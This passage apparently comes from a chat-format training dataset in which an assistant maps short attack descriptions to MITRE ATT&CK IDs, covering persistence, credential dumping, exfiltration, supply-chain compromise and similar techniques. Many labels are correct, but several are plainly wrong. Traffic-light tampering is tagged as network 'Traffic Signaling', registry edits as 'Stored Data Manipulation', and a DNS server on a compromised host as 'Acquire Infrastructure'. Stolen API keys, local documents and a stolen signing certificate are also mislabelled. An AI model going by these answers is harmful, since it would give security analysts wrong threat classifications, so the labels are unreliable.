                "content": "Malware installs on the DNS server, allowing the adversary to poison DNS responses and intercept traffic."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake software update page was set up on a legitimate vendor's website; the page verifies the presence of a specific DLL version used by the target's internal tools before delivering a custom espionage implant."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary enumerates files stored in Azure Blob Storage containers to discover credentials."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the attack, the threat actor uses odbcconf to modify the ODBC driver path to point to a malicious executable, achieving system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor accessed the server via an exposed SSH key and modified the site’s default page with graffiti."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the 'systeminfo' command to extract the system's locale and time zone, inferring its approximate location."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using memory dumping tools, the malicious actor extracts the RDP session handle from a compromised host and takes over the live session."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a phishing email, the attacker got the victim to run \"cmd /c echo malicious > C:\\\\temp\\\\evil.txt\" to create a malicious file."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was introduced into a Docker base image hosted on a public registry; the target organization pulled the image for its CI/CD pipeline, resulting in compromised containers."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the host's image creation tools to assemble a malicious base image for further distribution."
            },
            {
                "role": "assistant",
                "content": "T1612 - Build Image on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware packages exfiltration data into a custom TLS-wrapped protocol that mimics legitimate traffic, leveraging asymmetric keys for encryption."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker cleared Windows Event logs and also dumped the LSASS memory for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe a scenario where an adversary compromises a system by exploiting a weak password, provide the corresponding MITRE ATT&CK ID and Name."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers abused SharePoint synchronization features to sync confidential files to a local machine, later uploading them to a cloud dropbox."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages a compromised domain controller to deploy a network logon script that downloads additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the \"sc config\" command to alter the parameters of a system service, redirecting it to run a ransomware payload during system boot."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker sets up a sequence of connection attempts to ports 5000, 5001, and 5002; only after this specific knock does the victim's firewall permit inbound SSH traffic."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a legitimate code signing certificate obtained from a compromised software developer to distribute trojanized updates."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of ransomware performed a network scan by querying the '/proc/net/tcp' file on a compromised Linux system to enumerate established connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a malicious MSI package using msiexec.exe to proxy execution of arbitrary payloads without raising suspicion."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group installs a hidden process that automatically consolidates recent documents for later theft."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is introduced into a widely used Python package hosted on PyPI; developers download the compromised package, leading to credential theft on their internal systems."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits an unauthenticated endpoint by flooding it with continuous GraphQL queries, leading to application exhaustion and service disruption."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker extracted API keys from a configuration file and used them to authenticate to the target cloud service."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cyber‑criminal creates a BITS task that points to a malicious DLL hosted on a compromised website, causing the system to download and load it into memory."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access via phishing, the group sets up a scheduled task that later triggers a second-stage payload from an external host."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker reads .xml files in the Sysvol directory to recover stored passwords configured via Group Policy Preferences."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware contacts its C2 server, receives an encrypted command string, decrypts it, and runs it via cmd.exe on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering trust provider settings, the adversary defeats the system's integrity enforcement and runs malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses the CLI of a network device to disable IDS signatures and evade detection."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware dumps the LSASS process memory to obtain credentials and then logs in as a domain administrator."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a malicious PowerShell script to access the victim's Exchange mailbox via Outlook Web Access and copy all emails to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a .bat file and registers it as a scheduled job using schtasks.exe with the /create flag."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware replaces the original signed executable with a tampered version that retains the same signature by exploiting a flaw in the signature verification process."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries calculate DNS queries algorithmically to locate malicious infrastructure, avoiding hard‑coded IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor transfers a custom backdoor tool to a compromised host via SMB shares and then executes it locally."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends a spearphishing email with a URL masquerading as a trusted cloud storage provider, which, when clicked, redirects to a malicious login page."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the UEFI variables on the target machine to collect firmware configuration details."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insiders use default credentials on a city’s traffic signal control system to change signal patterns during peak hours for ransom purposes."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising an internal load balancer, the threat actor repurposes it as a proxy to tunnel data between the compromised host and the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Invoke‑Command cmdlet, the attacker executed a malicious payload on several Windows hosts via WinRM."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerated all active network interfaces and their IP addresses on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the printer port monitor configuration file to reference a malicious DLL, ensuring execution whenever a print job is sent."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By phishing employees, the attackers acquire valid usernames and passwords, then log into the organization's Office 365 portal to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queries the Kubernetes kubelet API without authentication to enumerate secret objects and extract service account tokens."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code disables the built-in system restore feature and removes any existing restore points on a Windows host."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware executes a command to pull cached domain credentials from the Windows Credential Manager and exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the Syslog configuration to generate bogus intrusion detection alerts, causing the SOC to ignore real threats."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool modifies the 'mtime' and 'ctime' of logs to erase evidence of its activity."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware enumerated all local user documents and exfiltrated them via an encrypted HTTP channel."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary set up a DNS server on a compromised machine to serve as a pivot point for further attacks."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker downloads a malicious PowerShell module from a compromised website to expand their exploit arsenal."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor embeds a deceptive URL in a corporate newsletter, directing users to a malicious site that exploits a zero‑day vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary manipulates the COM registration entries to hijack an existing COM class, enabling malicious inter‑process interactions."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors inject code to the security agent process to bypass its checks and then stop its monitoring threads."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses a serverless edge function in Cloudflare Workers by injecting a JavaScript payload that runs on every request, enabling data theft from passing traffic."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary encodes exfiltrated data using Base64 before transmitting it over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries manipulated the registry keys on Windows hosts to change system settings and maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload calls the Outlook COM object to synchronize mail folders and then uploads the collected emails to a cloud storage bucket."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor posts a deceptive advertisement for a popular game; when the user clicks the download button, a trojan is installed and runs with user privileges."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a crafted link to a fake login page, capturing the victim's credentials after they enter them."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors purchase a set of domain names that are typosquatted versions of a popular brand."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post‑exploitation, the adversary searches for credential files in user home directories, such as .pgpass and .my.cnf, and harvests the stored passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise script reads the macOS \"system_profiler SPApplicationsDataType\" output to compile a list of installed apps."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary utilizes a man-in-the-middle (MitM) attack to intercept communication between two parties, often to steal sensitive information or inject malware."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected into a popular browser extension’s update feed; when users install the update, a drive‑by download delivers a remote access trojan targeting corporate networks."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive‑by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages nested virtualization to run a second OS, executing the payload within it to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a compromised domain account to schedule a malicious task via the Windows Task Scheduler on multiple servers."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors locate Kubernetes cluster private keys in container images and reuse them to gain cluster admin access."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvested data from SharePoint by abusing the Office 365 Graph API."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor synced the domain controller's database to harvest password data using the DCSync technique."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the attacker creates a new service account on the target server to facilitate further attacks."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a compromised ServiceNow service account to extract OAuth tokens for multiple SaaS platforms."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group obtained a DNS server via a compromised corporate network’s internal DNS infrastructure, repurposing it for malicious redirects."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors acquire a code signing certificate via social engineering of a certificate authority employee."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
